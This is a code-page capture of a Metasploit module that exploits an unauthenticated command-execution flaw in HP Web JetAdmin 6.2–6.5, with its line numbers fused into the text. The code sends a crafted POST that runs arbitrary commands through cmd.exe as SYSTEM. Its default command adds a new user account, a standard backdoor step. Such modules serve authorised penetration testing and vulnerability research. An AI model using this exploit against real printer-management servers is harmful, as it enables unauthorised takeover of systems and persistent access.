Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'HP Web JetAdmin 6.5 Server Arbitrary Command Execution',13'Description' => %q{14This module abuses a command execution vulnerability within the15web based management console of the Hewlett-Packard Web JetAdmin16network printer tool v6.2 - v6.5. It is possible to execute commands17as SYSTEM without authentication. The vulnerability also affects POSIX18systems, however at this stage the module only works against Windows.19This module does not apply to HP printers.20},21'Author' => [ 'aushack' ],22'License' => MSF_LICENSE,23'References' => [24[ 'OSVDB', '5798' ],25[ 'BID', '10224' ],26# [ 'CVE', '' ],# No CVE!27[ 'EDB', '294' ]28],29'DisclosureDate' => '2004-04-27'30)31)3233register_options(34[35Opt::RPORT(8000),36OptString.new('CMD', [ false, 'The command to execute.', 'net user metasploit password /add' ]),37]38)39end4041def run42cmd = datastore['CMD'].gsub(' ', ',')4344send_request_cgi({45'uri' => '/plugins/framework/script/content.hts',46'method' => 'POST',47'data' => 'obj=Httpd:ExecuteFile(,cmd.exe,/c,' + cmd + ',)'48}, 3)49end50end515253